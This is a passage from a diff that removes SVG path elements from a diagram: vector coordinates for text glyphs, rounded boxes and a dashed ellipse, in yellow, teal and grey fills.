L395.305295,460.481845 L395.305295,465.325595 C395.305295,465.731845 395.326128,465.992262 395.367795,466.106845 C395.419878,466.221428 395.503212,466.315178 395.617795,466.388095 C395.732378,466.450595 395.893837,466.481845 396.10217,466.481845 C396.25842,466.481845 396.461545,466.461012 396.711545,466.419345 Z M397.531858,465.200595 L398.922483,464.981845 C398.995399,465.544345 399.208941,465.976637 399.563108,466.27872 C399.927691,466.570387 400.427691,466.71622 401.063108,466.71622 C401.708941,466.71622 402.188108,466.586012 402.500608,466.325595 C402.813108,466.054762 402.969358,465.742262 402.969358,465.388095 C402.969358,465.075595 402.833941,464.825595 402.563108,464.638095 C402.365191,464.513095 401.886024,464.356845 401.125608,464.169345 C400.094358,463.908928 399.375608,463.68497 398.969358,463.49747 C398.573524,463.299553 398.271441,463.033928 398.063108,462.700595 C397.865191,462.367262 397.766233,461.99747 397.766233,461.59122 C397.766233,461.21622 397.849566,460.87247 398.016233,460.55997 C398.182899,460.24747 398.412066,459.987053 398.703733,459.77872 C398.922483,459.612053 399.219358,459.476637 399.594358,459.37247 C399.979774,459.257887 400.386024,459.200595 400.813108,459.200595 C401.469358,459.200595 402.042274,459.294345 402.531858,459.481845 C403.021441,459.669345 403.380816,459.924553 403.609983,460.24747 C403.849566,460.55997 404.016233,460.987053 404.109983,461.52872 L402.734983,461.71622 C402.672483,461.289137 402.490191,460.955803 402.188108,460.71622 C401.886024,460.476637 401.464149,460.356845 400.922483,460.356845 C400.276649,460.356845 399.813108,460.46622 399.531858,460.68497 C399.261024,460.893303 399.125608,461.138095 399.125608,461.419345 C399.125608,461.606845 399.182899,461.773512 399.297483,461.919345 C399.412066,462.065178 399.589149,462.190178 399.828733,462.294345 C399.974566,462.346428 400.391233,462.46622 401.078733,462.65372 C402.068316,462.914137 402.761024,463.132887 403.156858,463.30997 C403.552691,463.476637 403.859983,463.721428 404.078733,464.044345 C404.307899,464.367262 404.422483,464.768303 404.422483,465.24747 C404.422483,465.71622 404.281858,466.158928 404.000608,466.575595 C403.729774,466.981845 403.333941,467.299553 402.813108,467.52872 C402.302691,467.757887 401.724566,467.87247 401.078733,467.87247 C399.995399,467.87247 399.172483,467.648512 398.609983,467.200595 C398.047483,466.752678 397.688108,466.086012 397.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M376.7975,483.65372 L378.20375,483.46622 C378.370417,484.268303 378.646458,484.846428 379.031875,485.200595 C379.417292,485.544345 379.89125,485.71622 380.45375,485.71622 C381.11,485.71622 381.667292,485.487053 382.125625,485.02872 C382.583958,484.570387 382.813125,484.002678 382.813125,483.325595 C382.813125,482.679762 382.599583,482.148512 382.1725,481.731845 C381.755833,481.315178 381.219375,481.106845 380.563125,481.106845 C380.302708,481.106845 379.974583,481.158928 379.57875,481.263095 L379.735,480.02872 C379.82875,480.039137 379.901667,480.044345 379.95375,480.044345 C380.557917,480.044345 381.099583,479.888095 381.57875,479.575595 C382.057917,479.263095 382.2975,478.77872 382.2975,478.12247 C382.2975,477.612053 382.120417,477.190178 381.76625,476.856845 C381.4225,476.513095 380.974583,476.34122 380.4225,476.34122 C379.870417,476.34122 379.412083,476.513095 379.0475,476.856845 C378.682917,477.200595 378.448542,477.71622 378.344375,478.40372 L376.938125,478.15372 C377.115208,477.205803 377.505833,476.476637 378.11,475.96622 C378.724583,475.445387 379.485,475.18497 380.39125,475.18497 C381.01625,475.18497 381.589167,475.320387 382.11,475.59122 C382.64125,475.851637 383.042292,476.21622 383.313125,476.68497 C383.594375,477.143303 383.735,477.632887 383.735,478.15372 C383.735,478.65372 383.599583,479.106845 383.32875,479.513095 C383.068333,479.919345 382.677708,480.242262 382.156875,480.481845 C382.833958,480.638095 383.36,480.961012 383.735,481.450595 C384.11,481.940178 384.2975,482.554762 384.2975,483.294345 C384.2975,484.294345 383.932917,485.143303 383.20375,485.84122 C382.474583,486.539137 381.552708,486.888095 380.438125,486.888095 C379.438125,486.888095 378.604792,486.59122 377.938125,485.99747 C377.271458,485.393303 376.89125,484.612053 376.7975,483.65372 Z M386.258438,486.68497 L386.258438,475.231845 L390.586563,475.231845 C391.346979,475.231845 391.925104,475.268303 392.320938,475.34122 C392.883438,475.43497 393.352188,475.612053 393.727188,475.87247 C394.112604,476.132887 394.419896,476.502678 394.649063,476.981845 C394.888646,477.450595 395.008438,477.971428 395.008438,478.544345 C395.008438,479.513095 394.695938,480.336012 394.070938,481.013095 C393.456354,481.690178 392.336563,482.02872 390.711563,482.02872 L387.774063,482.02872 L387.774063,486.68497 L386.258438,486.68497 Z M387.774063,480.669345 L390.742813,480.669345 C391.721979,480.669345 392.414688,480.487053 392.820938,480.12247 C393.237604,479.757887 393.445938,479.24747 393.445938,478.59122 C393.445938,478.112053 393.320938,477.700595 393.070938,477.356845 C392.831354,477.013095 392.513646,476.789137 392.117813,476.68497 C391.867813,476.612053 391.399063,476.575595 390.711563,476.575595 L387.774063,476.575595 L387.774063,480.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,457.5403 L282.16272,457.5403 C282.16272,453.733659 285.248627,450.647783 289.055268,450.647783 L338.766268,450.647783 C340.59427,450.647783 342.347414,451.373949 343.640017,452.666551 C344.932619,453.959154 345.658785,455.712297 345.658785,457.5403 L345.658785,485.109575 C345.658785,488.916216 342.572908,492.002123 338.766268,492.002123 L289.055268,492.002123 C285.248627,492.002123 282.16272,488.916216 282.16272,485.109575 L282.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M295.85217,470.87247 L295.85217,459.388095 L297.13342,459.388095 L297.13342,460.46622 C297.435503,460.039137 297.774045,459.721428 298.149045,459.513095 C298.534462,459.304762 298.998003,459.200595 299.53967,459.200595 C300.248003,459.200595 300.873003,459.382887 301.41467,459.74747 C301.956337,460.112053 302.362587,460.627678 302.63342,461.294345 C302.91467,461.950595 303.055295,462.674553 303.055295,463.46622 C303.055295,464.320387 302.899045,465.086012 302.586545,465.763095 C302.284462,466.440178 301.841753,466.961012 301.25842,467.325595 C300.685503,467.690178 300.076128,467.87247 299.430295,467.87247 C298.961545,467.87247 298.53967,467.773512 298.16467,467.575595 C297.800087,467.377678 297.498003,467.127678 297.25842,466.825595 L297.25842,470.87247 L295.85217,470.87247 Z M297.117795,463.575595 C297.117795,464.648512 297.331337,465.440178 297.75842,465.950595 C298.19592,466.461012 298.721962,466.71622 299.336545,466.71622 C299.961545,466.71622 300.498003,466.450595 300.94592,465.919345 C301.393837,465.388095 301.617795,464.570387 301.617795,463.46622 C301.617795,462.40372 301.399045,461.612053 300.961545,461.09122 C300.524045,460.55997 300.003212,460.294345 299.399045,460.294345 C298.805295,460.294345 298.274045,460.575595 297.805295,461.138095 C297.346962,461.700595 297.117795,462.513095 297.117795,463.575595 Z M304.219358,463.52872 C304.219358,461.99747 304.646441,460.862053 305.500608,460.12247 C306.219358,459.507887 307.089149,459.200595 308.109983,459.200595 C309.255816,459.200595 310.188108,459.575595 310.906858,460.325595 C311.636024,461.065178 312.000608,462.096428 312.000608,463.419345 C312.000608,464.481845 311.839149,465.320387 311.516233,465.93497 C311.193316,466.549553 310.724566,467.02872 310.109983,467.37247 C309.505816,467.705803 308.839149,467.87247 308.109983,467.87247 C306.953733,467.87247 306.016233,467.502678 305.297483,466.763095 C304.578733,466.013095 304.219358,464.93497 304.219358,463.52872 Z M305.672483,463.52872 C305.672483,464.59122 305.901649,465.388095 306.359983,465.919345 C306.828733,466.450595 307.412066,466.71622 308.109983,466.71622 C308.807899,466.71622 309.386024,466.450595 309.844358,465.919345 C310.313108,465.388095 310.547483,464.575595 310.547483,463.481845 C310.547483,462.461012 310.313108,461.68497 309.844358,461.15372 C309.386024,460.62247 308.807899,460.356845 308.109983,460.356845 C307.412066,460.356845 306.828733,460.62247 306.359983,461.15372 C305.901649,461.674553 305.672483,462.46622 305.672483,463.52872 Z M313.086545,465.200595 L314.47717,464.981845 C314.550087,465.544345 314.763628,465.976637 315.117795,466.27872 C315.482378,466.570387 315.982378,466.71622 316.617795,466.71622 C317.263628,466.71622 317.742795,466.586012 318.055295,466.325595 C318.367795,466.054762 318.524045,465.742262 318.524045,465.388095 C318.524045,465.075595 318.388628,464.825595 318.117795,464.638095 C317.919878,464.513095 317.440712,464.356845 316.680295,464.169345 C315.649045,463.908928 314.930295,463.68497 314.524045,463.49747 C314.128212,463.299553 313.826128,463.033928 313.617795,462.700595 C313.419878,462.367262 313.32092,461.99747 313.32092,461.59122 C313.32092,461.21622 313.404253,460.87247 313.57092,460.55997 C313.737587,460.24747 313.966753,459.987053 314.25842,459.77872 C314.47717,459.612053 314.774045,459.476637 315.149045,459.37247 C315.534462,459.257887 315.940712,459.200595 316.367795,459.200595 C317.024045,459.200595 317.596962,459.294345 318.086545,459.481845 C318.576128,459.669345 318.935503,459.924553 319.16467,460.24747 C319.404253,460.55997 319.57092,460.987053 319.66467,461.52872 L318.28967,461.71622 C318.22717,461.289137 318.044878,460.955803 317.742795,460.71622 C317.440712,460.476637 317.018837,460.356845 316.47717,460.356845 C315.831337,460.356845 315.367795,460.46622 315.086545,460.68497 C314.815712,460.893303 314.680295,461.138095 314.680295,461.419345 C314.680295,461.606845 314.737587,461.773512 314.85217,461.919345 C314.966753,462.065178 315.143837,462.190178 315.38342,462.294345 C315.529253,462.346428 315.94592,462.46622 316.63342,462.65372 C317.623003,462.914137 318.315712,463.132887 318.711545,463.30997 C319.107378,463.476637 319.41467,463.721428 319.63342,464.044345 C319.862587,464.367262 319.97717,464.768303 319.97717,465.24747 C319.97717,465.71622 319.836545,466.158928 319.555295,466.575595 C319.284462,466.981845 318.888628,467.299553 318.367795,467.52872 C317.857378,467.757887 317.279253,467.87247 316.63342,467.87247 C315.550087,467.87247 314.72717,467.648512 314.16467,467.200595 C313.60217,466.752678 313.242795,466.086012 313.086545,465.200595 Z M324.711545,466.419345 L324.91467,467.669345 C324.518837,467.752678 324.16467,467.794345 323.85217,467.794345 C323.341753,467.794345 322.94592,467.71622 322.66467,467.55997 C322.38342,467.393303 322.185503,467.179762 322.07092,466.919345 C321.956337,466.648512 321.899045,466.09122 321.899045,465.24747 L321.899045,460.481845 L320.867795,460.481845 L320.867795,459.388095 L321.899045,459.388095 L321.899045,457.325595 L323.305295,456.481845 L323.305295,459.388095 L324.711545,459.388095 L324.711545,460.481845 L323.305295,460.481845 L323.305295,465.325595 C323.305295,465.731845 323.326128,465.992262 323.367795,466.106845 C323.419878,466.221428 323.503212,466.315178 323.617795,466.388095 C323.732378,466.450595 323.893837,466.481845 324.10217,466.481845 C324.25842,466.481845 324.461545,466.461012 324.711545,466.419345 Z M325.531858,465.200595 L326.922483,464.981845 C326.995399,465.544345 327.208941,465.976637 327.563108,466.27872 C327.927691,466.570387 328.427691,466.71622 329.063108,466.71622 C329.708941,466.71622 330.188108,466.586012 330.500608,466.325595 C330.813108,466.054762 330.969358,465.742262 330.969358,465.388095 C330.969358,465.075595 330.833941,464.825595 330.563108,464.638095 C330.365191,464.513095 329.886024,464.356845 329.125608,464.169345 C328.094358,463.908928 327.375608,463.68497 326.969358,463.49747 C326.573524,463.299553 326.271441,463.033928 326.063108,462.700595 C325.865191,462.367262 325.766233,461.99747 325.766233,461.59122 C325.766233,461.21622 325.849566,460.87247 326.016233,460.55997 C326.182899,460.24747 326.412066,459.987053 326.703733,459.77872 C326.922483,459.612053 327.219358,459.476637 327.594358,459.37247 C327.979774,459.257887 328.386024,459.200595 328.813108,459.200595 C329.469358,459.200595 330.042274,459.294345 330.531858,459.481845 C331.021441,459.669345 331.380816,459.924553 331.609983,460.24747 C331.849566,460.55997 332.016233,460.987053 332.109983,461.52872 L330.734983,461.71622 C330.672483,461.289137 330.490191,460.955803 330.188108,460.71622 C329.886024,460.476637 329.464149,460.356845 328.922483,460.356845 C328.276649,460.356845 327.813108,460.46622 327.531858,460.68497 C327.261024,460.893303 327.125608,461.138095 327.125608,461.419345 C327.125608,461.606845 327.182899,461.773512 327.297483,461.919345 C327.412066,462.065178 327.589149,462.190178 327.828733,462.294345 C327.974566,462.346428 328.391233,462.46622 329.078733,462.65372 C330.068316,462.914137 330.761024,463.132887 331.156858,463.30997 C331.552691,463.476637 331.859983,463.721428 332.078733,464.044345 C332.307899,464.367262 332.422483,464.768303 332.422483,465.24747 C332.422483,465.71622 332.281858,466.158928 332.000608,466.575595 C331.729774,466.981845 331.333941,467.299553 330.813108,467.52872 C330.302691,467.757887 329.724566,467.87247 329.078733,467.87247 C327.995399,467.87247 327.172483,467.648512 326.609983,467.200595 C326.047483,466.752678 325.688108,466.086012 325.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M312.1881,485.3256 L312.1881,486.684975 L304.609975,486.684975 C304.599558,486.341225 304.65685,486.0131 304.78185,485.7006 C304.96935,485.190183 305.276642,484.684975 305.703725,484.184975 C306.130808,483.684975 306.745392,483.10685 307.547475,482.4506 C308.787058,481.429767 309.6256,480.622475 310.0631,480.028725 C310.5006,479.424558 310.71935,478.85685 310.71935,478.3256 C310.71935,477.773517 310.521433,477.304767 310.1256,476.91935 C309.729767,476.533933 309.208933,476.341225 308.5631,476.341225 C307.886017,476.341225 307.34435,476.54435 306.9381,476.9506 C306.53185,477.35685 306.328725,477.91935 306.328725,478.6381 L304.8756,478.497475 C304.979767,477.414142 305.354767,476.591225 306.0006,476.028725 C306.646433,475.466225 307.511017,475.184975 308.59435,475.184975 C309.698517,475.184975 310.568308,475.492267 311.203725,476.10685 C311.849558,476.711017 312.172475,477.461017 312.172475,478.35685 C312.172475,478.815183 312.078725,479.268308 311.891225,479.716225 C311.703725,480.153725 311.391225,480.617267 310.953725,481.10685 C310.516225,481.596433 309.792267,482.268308 308.78185,483.122475 C307.9381,483.830808 307.396433,484.315183 307.15685,484.5756 C306.917267,484.8256 306.71935,485.0756 306.5631,485.3256 L312.1881,485.3256 Z M314.258413,486.684975 L314.258413,475.23185 L318.586538,475.23185 C319.346954,475.23185 319.925079,475.268308 320.320913,475.341225 C320.883413,475.434975 321.352163,475.612058 321.727163,475.872475 C322.112579,476.132892 322.419871,476.502683 322.649038,476.98185 C322.888621,477.4506 323.008413,477.971433 323.008413,478.54435 C323.008413,479.5131 322.695913,480.336017 322.070913,481.0131 C321.456329,481.690183 320.336538,482.028725 318.711538,482.028725 L315.774038,482.028725 L315.774038,486.684975 L314.258413,486.684975 Z M315.774038,480.66935 L318.742788,480.66935 C319.721954,480.66935 320.414663,480.487058 320.820913,480.122475 C321.237579,479.757892 321.445913,479.247475 321.445913,478.591225 C321.445913,478.112058 321.320913,477.7006 321.070913,477.35685 C320.831329,477.0131 320.513621,476.789142 320.117788,476.684975 C319.867788,476.612058 319.399038,476.5756 318.711538,476.5756 L315.774038,476.5756 L315.774038,480.66935 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M520.695394,207.9581 L520.695394,207.9581 C520.695394,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.695394,207.9581 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M520.695394,207.9581 L520.695394,207.9581 C520.695394,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.695394,207.9581 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="570.9633 75.83976 759.34123 75.83976 759.34123 116.28071 570.9633 116.28071"></polygon>
-                <path d="M621.1676,102.94726 C619.719683,102.94726 618.599892,102.504552 617.808225,101.619135 C617.016558,100.723302 616.620725,99.462885 616.620725,97.837885 C616.620725,96.1608017 617.021767,94.869135 617.82385,93.962885 C618.63635,93.0462183 619.782183,92.587885 621.26135,92.587885 C621.740517,92.587885 622.219683,92.6399683 622.69885,92.744135 C623.188433,92.8483017 623.568642,92.9733017 623.839475,93.119135 L623.370725,94.400385 C623.037392,94.2649683 622.672808,94.1555933 622.276975,94.07226 C621.881142,93.97851 621.532183,93.931635 621.2301,93.931635 C619.19885,93.931635 618.183225,95.2233017 618.183225,97.806635 C618.183225,99.0358017 618.428017,99.97851 618.9176,100.63476 C619.4176,101.29101 620.157183,101.619135 621.13635,101.619135 C621.969683,101.619135 622.818642,101.442052 623.683225,101.087885 L623.683225,102.41601 C623.016558,102.770177 622.178017,102.94726 621.1676,102.94726 Z M627.565,102.75976 L626.065,102.75976 L626.065,88.587885 L627.565,88.587885 L627.565,102.75976 Z M632.205564,92.775385 L632.205564,99.25976 C632.205564,100.07226 632.387856,100.681635 632.752439,101.087885 C633.127439,101.483718 633.705564,101.681635 634.486814,101.681635 C635.538897,101.681635 636.304522,101.395177 636.783689,100.82226 C637.262856,100.249343 637.502439,99.3170517 637.502439,98.025385 L637.502439,92.775385 L639.018064,92.775385 L639.018064,102.75976 L637.768064,102.75976 L637.549314,101.41601 L637.471189,101.41601 C637.158689,101.91601 636.726397,102.296218 636.174314,102.556635 C635.632647,102.817052 635.007647,102.94726 634.299314,102.94726 C633.090981,102.94726 632.184731,102.660802 631.580564,102.087885 C630.976397,101.504552 630.674314,100.577468 630.674314,99.306635 L630.674314,92.775385 L632.205564,92.775385 Z M648.671873,100.04101 C648.671873,100.968093 648.322915,101.686843 647.624998,102.19726 C646.937498,102.69726 645.968748,102.94726 644.718748,102.94726 C643.395831,102.94726 642.364581,102.733718 641.624998,102.306635 L641.624998,100.91601 C642.104165,101.155593 642.614581,101.348302 643.156248,101.494135 C643.708331,101.629552 644.239581,101.69726 644.749998,101.69726 C645.541665,101.69726 646.15104,101.57226 646.578123,101.32226 C647.005206,101.061843 647.218748,100.676427 647.218748,100.16601 C647.218748,99.7805933 647.046873,99.44726 646.703123,99.16601 C646.36979,98.88476 645.71354,98.556635 644.734373,98.181635 C643.80729,97.837885 643.145831,97.54101 642.749998,97.29101 C642.364581,97.0305933 642.072915,96.7389267 641.874998,96.41601 C641.687498,96.0826767 641.593748,95.6868433 641.593748,95.22851 C641.593748,94.41601 641.921873,93.775385 642.578123,93.306635 C643.24479,92.8274683 644.156248,92.587885 645.312498,92.587885 C646.385415,92.587885 647.43229,92.806635 648.453123,93.244135 L647.921873,94.47851 C646.921873,94.0618433 646.015623,93.85351 645.203123,93.85351 C644.484373,93.85351 643.942706,93.9680933 643.578123,94.19726 C643.21354,94.4264267 643.031248,94.7337183 643.031248,95.119135 C643.031248,95.3899683 643.098956,95.619135 643.234373,95.806635 C643.36979,95.994135 643.58854,96.1764267 643.890623,96.35351 C644.192706,96.5201767 644.77604,96.7649683 645.640623,97.087885 C646.828123,97.5149683 647.630206,97.94726 648.046873,98.38476 C648.46354,98.82226 648.671873,99.3743433 648.671873,100.04101 Z M654.353086,101.69726 C654.62392,101.69726 654.879128,101.676427 655.118711,101.63476 C655.368711,101.593093 655.566628,101.551427 655.712461,101.50976 L655.712461,102.66601 C655.556211,102.749343 655.316628,102.817052 654.993711,102.869135 C654.670795,102.921218 654.384336,102.94726 654.134336,102.94726 C652.207253,102.94726 651.243711,101.926427 651.243711,99.88476 L651.243711,93.94726 L649.806211,93.94726 L649.806211,93.22851 L651.243711,92.587885 L651.868711,90.462885 L652.743711,90.462885 L652.743711,92.775385 L655.649961,92.775385 L655.649961,93.94726 L652.743711,93.94726 L652.743711,99.82226 C652.743711,100.426427 652.884336,100.889968 653.165586,101.212885 C653.457253,101.535802 653.853086,101.69726 654.353086,101.69726 Z M661.939268,102.94726 C660.460101,102.94726 659.293435,102.499343 658.439268,101.60351 C657.585101,100.69726 657.158018,99.44726 657.158018,97.85351 C657.158018,96.2389267 657.553851,94.9576767 658.345518,94.00976 C659.137185,93.0618433 660.199685,92.587885 661.533018,92.587885 C662.793435,92.587885 663.783018,92.9993433 664.501768,93.82226 C665.230935,94.6451767 665.595518,95.7337183 665.595518,97.087885 L665.595518,98.04101 L658.720518,98.04101 C658.751768,99.2180933 659.048643,100.108718 659.611143,100.712885 C660.173643,101.317052 660.96531,101.619135 661.986143,101.619135 C663.05906,101.619135 664.12156,101.395177 665.173643,100.94726 L665.173643,102.29101 C664.642393,102.520177 664.137185,102.686843 663.658018,102.79101 C663.178851,102.895177 662.605935,102.94726 661.939268,102.94726 Z M661.517393,93.85351 C660.71531,93.85351 660.074685,94.119135 659.595518,94.650385 C659.126768,95.1712183 658.850726,95.8899683 658.767393,96.806635 L663.986143,96.806635 C663.986143,95.8587183 663.772601,95.1295517 663.345518,94.619135 C662.918435,94.1087183 662.30906,93.85351 661.517393,93.85351 Z M672.73419,92.587885 C673.182107,92.587885 673.57794,92.6243433 673.92169,92.69726 L673.718565,94.10351 C673.301898,94.00976 672.937315,93.962885 672.624815,93.962885 C671.822732,93.962885 671.130023,94.29101 670.54669,94.94726 C669.973773,95.60351 669.687315,96.4212183 669.687315,97.400385 L669.687315,102.75976 L668.187315,102.75976 L668.187315,92.775385 L669.42169,92.775385 L669.60919,94.619135 L669.67169,94.619135 C670.04669,93.9733017 670.494607,93.4733017 671.01544,93.119135 C671.536273,92.7649683 672.10919,92.587885 672.73419,92.587885 Z M675.584105,101.79101 C675.584105,101.38476 675.672646,101.077468 675.84973,100.869135 C676.03723,100.660802 676.302855,100.556635 676.646605,100.556635 C677.000771,100.556635 677.276813,100.660802 677.47473,100.869135 C677.672646,101.077468 677.771605,101.38476 677.771605,101.79101 C677.771605,102.186843 677.672646,102.494135 677.47473,102.712885 C677.276813,102.921218 677.000771,103.025385 676.646605,103.025385 C676.344521,103.025385 676.089313,102.931635 675.88098,102.744135 C675.683063,102.546218 675.584105,102.22851 675.584105,101.79101 Z M675.584105,93.744135 C675.584105,92.931635 675.938271,92.525385 676.646605,92.525385 C677.396605,92.525385 677.771605,92.931635 677.771605,93.744135 C677.771605,94.1399683 677.672646,94.44726 677.47473,94.66601 C677.276813,94.8743433 677.000771,94.97851 676.646605,94.97851 C676.344521,94.97851 676.089313,94.88476 675.88098,94.69726 C675.683063,94.4993433 675.584105,94.181635 675.584105,93.744135 Z M687.035643,92.775385 L687.035643,99.25976 C687.035643,100.07226 687.217934,100.681635 687.582518,101.087885 C687.957518,101.483718 688.535643,101.681635 689.316893,101.681635 C690.368976,101.681635 691.134601,101.395177 691.613768,100.82226 C692.092934,100.249343 692.332518,99.3170517 692.332518,98.025385 L692.332518,92.775385 L693.848143,92.775385 L693.848143,102.75976 L692.598143,102.75976 L692.379393,101.41601 L692.301268,101.41601 C691.988768,101.91601 691.556476,102.296218 691.004393,102.556635 C690.462726,102.817052 689.837726,102.94726 689.129393,102.94726 C687.921059,102.94726 687.014809,102.660802 686.410643,102.087885 C685.806476,101.504552 685.504393,100.577468 685.504393,99.306635 L685.504393,92.775385 L687.035643,92.775385 Z M703.501891,100.04101 C703.501891,100.968093 703.152932,101.686843 702.455016,102.19726 C701.767516,102.69726 700.798766,102.94726 699.548766,102.94726 C698.225849,102.94726 697.194599,102.733718 696.455016,102.306635 L696.455016,100.91601 C696.934182,101.155593 697.444599,101.348302 697.986266,101.494135 C698.538349,101.629552 699.069599,101.69726 699.580016,101.69726 C700.371682,101.69726 700.981057,101.57226 701.408141,101.32226 C701.835224,101.061843 702.048766,100.676427 702.048766,100.16601 C702.048766,99.7805933 701.876891,99.44726 701.533141,99.16601 C701.199807,98.88476 700.543557,98.556635 699.564391,98.181635 C698.637307,97.837885 697.975849,97.54101 697.580016,97.29101 C697.194599,97.0305933 696.902932,96.7389267 696.705016,96.41601 C696.517516,96.0826767 696.423766,95.6868433 696.423766,95.22851 C696.423766,94.41601 696.751891,93.775385 697.408141,93.306635 C698.074807,92.8274683 698.986266,92.587885 700.142516,92.587885 C701.215432,92.587885 702.262307,92.806635 703.283141,93.244135 L702.751891,94.47851 C701.751891,94.0618433 700.845641,93.85351 700.033141,93.85351 C699.314391,93.85351 698.772724,93.9680933 698.408141,94.19726 C698.043557,94.4264267 697.861266,94.7337183 697.861266,95.119135 C697.861266,95.3899683 697.928974,95.619135 698.064391,95.806635 C698.199807,95.994135 698.418557,96.1764267 698.720641,96.35351 C699.022724,96.5201767 699.606057,96.7649683 700.470641,97.087885 C701.658141,97.5149683 702.460224,97.94726 702.876891,98.38476 C703.293557,98.82226 703.501891,99.3743433 703.501891,100.04101 Z M712.104979,102.75976 L711.792479,101.337885 L711.729979,101.337885 C711.229979,101.962885 710.729979,102.389968 710.229979,102.619135 C709.740395,102.837885 709.125812,102.94726 708.386229,102.94726 C707.396645,102.94726 706.620604,102.692052 706.058104,102.181635 C705.495604,101.671218 705.214354,100.942052 705.214354,99.994135 C705.214354,97.9837183 706.823729,96.9264267 710.042479,96.82226 L711.745604,96.775385 L711.745604,96.150385 C711.745604,95.369135 711.573729,94.79101 711.229979,94.41601 C710.896645,94.04101 710.360187,93.85351 709.620604,93.85351 C708.78727,93.85351 707.844562,94.1087183 706.792479,94.619135 L706.339354,93.462885 C706.828937,93.2024683 707.365395,92.9993433 707.948729,92.85351 C708.532062,92.69726 709.120604,92.619135 709.714354,92.619135 C710.901854,92.619135 711.782062,92.88476 712.354979,93.41601 C712.927895,93.9368433 713.214354,94.7805933 713.214354,95.94726 L713.214354,102.75976 L712.104979,102.75976 Z M708.683104,101.69726 C709.620604,101.69726 710.354979,101.442052 710.886229,100.931635 C711.427895,100.410802 711.698729,99.681635 711.698729,98.744135 L711.698729,97.85351 L710.198729,97.91601 C708.990395,97.9576767 708.120604,98.1451767 707.589354,98.47851 C707.058104,98.8014267 706.792479,99.3170517 706.792479,100.025385 C706.792479,100.567052 706.959145,100.983718 707.292479,101.275385 C707.625812,101.556635 708.089354,101.69726 708.683104,101.69726 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.2461,246.07508 587.2461,237.826881 L587.2461,178.08994 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.2461,246.07508 587.2461,237.826881 L587.2461,178.08994 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M657.6743,194.44948 L657.6743,193.027605 C656.9243,194.121355 655.903467,194.66823 654.6118,194.66823 C654.038883,194.66823 653.502425,194.558855 653.002425,194.340105 C652.512842,194.121355 652.148258,193.845313 651.908675,193.51198 C651.669092,193.178647 651.502425,192.772397 651.408675,192.29323 C651.335758,191.98073 651.2993,191.470313 651.2993,190.76198 L651.2993,184.777605 L652.939925,184.777605 L652.939925,190.13698 C652.939925,190.991147 652.976383,191.569272 653.0493,191.871355 C653.153467,192.298438 653.372217,192.63698 653.70555,192.88698 C654.038883,193.13698 654.450342,193.26198 654.939925,193.26198 C655.429508,193.26198 655.887842,193.13698 656.314925,192.88698 C656.752425,192.626563 657.059717,192.282813 657.2368,191.85573 C657.413883,191.41823 657.502425,190.788022 657.502425,189.965105 L657.502425,184.777605 L659.14305,184.777605 L659.14305,194.44948 L657.6743,194.44948 Z M661.065657,191.558855 L662.690657,191.308855 C662.773991,191.954688 663.023991,192.454688 663.440657,192.808855 C663.857324,193.152605 664.440657,193.32448 665.190657,193.32448 C665.940657,193.32448 666.497949,193.173438 666.862532,192.871355 C667.227116,192.558855 667.409407,192.194272 667.409407,191.777605 C667.409407,191.413022 667.247949,191.121355 666.925032,190.902605 C666.706282,190.756772 666.148991,190.57448 665.253157,190.35573 C664.044824,190.04323 663.206282,189.777605 662.737532,189.558855 C662.279199,189.340105 661.930241,189.038022 661.690657,188.652605 C661.451074,188.256772 661.331282,187.819272 661.331282,187.340105 C661.331282,186.913022 661.430241,186.517188 661.628157,186.152605 C661.826074,185.777605 662.096907,185.470313 662.440657,185.23073 C662.690657,185.04323 663.034407,184.88698 663.471907,184.76198 C663.919824,184.626563 664.393782,184.558855 664.893782,184.558855 C665.654199,184.558855 666.320866,184.66823 666.893782,184.88698 C667.466699,185.10573 667.888574,185.402605 668.159407,185.777605 C668.440657,186.152605 668.633366,186.652605 668.737532,187.277605 L667.128157,187.496355 C667.055241,186.996355 666.841699,186.60573 666.487532,186.32448 C666.143782,186.04323 665.654199,185.902605 665.018782,185.902605 C664.258366,185.902605 663.716699,186.027605 663.393782,186.277605 C663.081282,186.527605 662.925032,186.819272 662.925032,187.152605 C662.925032,187.360938 662.987532,187.553647 663.112532,187.73073 C663.247949,187.907813 663.461491,188.053647 663.753157,188.16823 C663.909407,188.23073 664.388574,188.371355 665.190657,188.590105 C666.357324,188.892188 667.169824,189.142188 667.628157,189.340105 